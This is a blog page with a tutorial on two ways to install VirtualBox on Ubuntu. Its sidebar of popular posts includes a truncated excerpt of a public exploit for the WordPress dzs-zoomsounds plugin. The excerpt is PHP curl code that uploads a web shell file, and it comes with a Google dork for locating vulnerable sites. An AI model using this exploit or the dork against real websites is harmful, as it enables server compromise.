Skip to main content

2 Ways How to Install VirtualBox in Ubuntu 10.04 / 12.04 / 12.10 / 13.04 / 13.10 / 14.04

2 Ways How to Install VirtualBox in Linux Ubuntu 10.04 / 12.04 / 12.10 / 13.04 - VirtualBox is a virtualization product just like VMware. The VirtualBox is open source virtualization product from Oracle. Now, this product has available on Linux, Windows, Mac OS, and Solaris. The official of VirtualBox is http://www.virtualbox.org.

If you want to trying an operating systems, you can install it on virtualbox as the media of your experiment. This is a smart solution if you try an other operating systems. So you can running multiple operating systems with together on single computer. There are two ways for Install VirtualBox in Ubuntu :


1. Install VirtualBox in Ubuntu using Repository via Terminal (Shell)

1. Install the dependency package to avoid error. Open your terminal or (Ctrl+Shift+T). And follow command below
sudo apt-get update
and than
sudo apt-get install dkms
2. Download and install of the VirtualBox package using this command
sudo apt-get install virtualbox-4.3
if you want to install the previous version just change 4.3 to 4.2 / 4.1 / 4.0 / 3.2 in the above command


2. Install VirtualBox in Ubuntu using .deb file

1. Download the .deb file on VirtualBox Official

2. After your download is finish. Install the dependency package using this command
sudo apt-get update
and than
sudo apt-get install dkms

3. Still on your Terminal (Shell). Change to active directory where your .deb file was downloaded. For example, the .deb file on /home/user/Desktop/
cd /home/user/Dekstop
4. And than install the .deb file using command below
sudo dpkg -i virtualbox-4.3*.deb

Wait untill that proccess is finish, and enjoy it !! Maybe you want to try other than VirtualBox, you can use VMware.

Paper 4Share - 2 Ways How to Install VirtualBox in Ubuntu 10.04 / 12.04 / 12.10 / 13.04 / 13.10 / 14.04

Comments

Popular posts from this blog

How to Install CloudSim in Ubuntu (in 3 easy steps)

The contents of this DIY has been tested on Ubuntu 12.04 LTS x64 with CloudSim 3.0.3 beta and JDK8u11 x64. It should work similarly on other distros of Ubuntu and for different version of JDK as long as you use Java version 1.5 or newer. The text shown in RED in the DIY represents the values that will differ depending upon your JDK version and locations. CloudSim is a framework for modelling and simulating cloud computing infrastructure and services. In this DIY we will see how to install CloudSim in Windows easily and efficiently. A more detailed description, APIs and research papers related to CloudSim can be found here . Let us begin. Step 1: Setting up the Prerequisites 1. First of all we need to download the CloudSim and latest version of the Java Development Toolkit (JDK). CloudSim can be found here . 2. CloudSim requires a working Java installation. So, open up a terminal and run the following 1 sudo add-apt-repository ppa:webupd8team/java 2 sudo apt-get...

WordPress dzs-zoomsounds Plugins <= 2.0 - Remote File Upload Vulnerability

################################################################################################### # Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability # Vendor : http: //digitalzoomstudio.net/docs/wpzoomsounds/ # Author: bl4ck-dz # Date : 28/05/2015 # Infected File: upload.php # Category: webapps # Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ # Tested on : Linux | Windows ################################################################################################### <?php $evil = "dz.phtml" ; $ch = curl_init( "http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php" ); curl_setopt( $ch , CURLOPT_POST, true); curl_setopt( $ch , CURLOPT_POSTFIELDS,          array ( 'file_field' => "@$evil" )); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec( $ch ); curl_close( $ch ); echo "$postResult" ; ?> Shell Access : http: //127.0.0.1/wp-content/plugins/dzs-zoo...

How To Add or Remove System Icons From The Kali Linux Desktop

When Kali Linux is started, there are always one or more system icons on the desktop. “Computer” is usually a default icon. However, some people might like to remove this icon and/or add other icons like the famous “Trash” icon. All the other tutorials will tell you to use the Linux, “gconfig-editor,” but Kali Linux does not have this system editor! I believe I am the only one who knows of a way to do this, so let me share my knowledge in this simple tutorial. Step one: Start and login to Kali Linux using your account or the “root” account. Step two: Open the main menu. Hover your mouse on “System Tools,” and click on “dconf Editor.” After a few seconds, the dconf Editor will open. Now all you have to do is browse to the correct category and set the options. Step three: When the dconf Editor window opens, click on the plus sign next to “org” (located in the left pane). Step four: Now click the plus sign next to “gnome.” Step five: Scroll down the list in the left pan...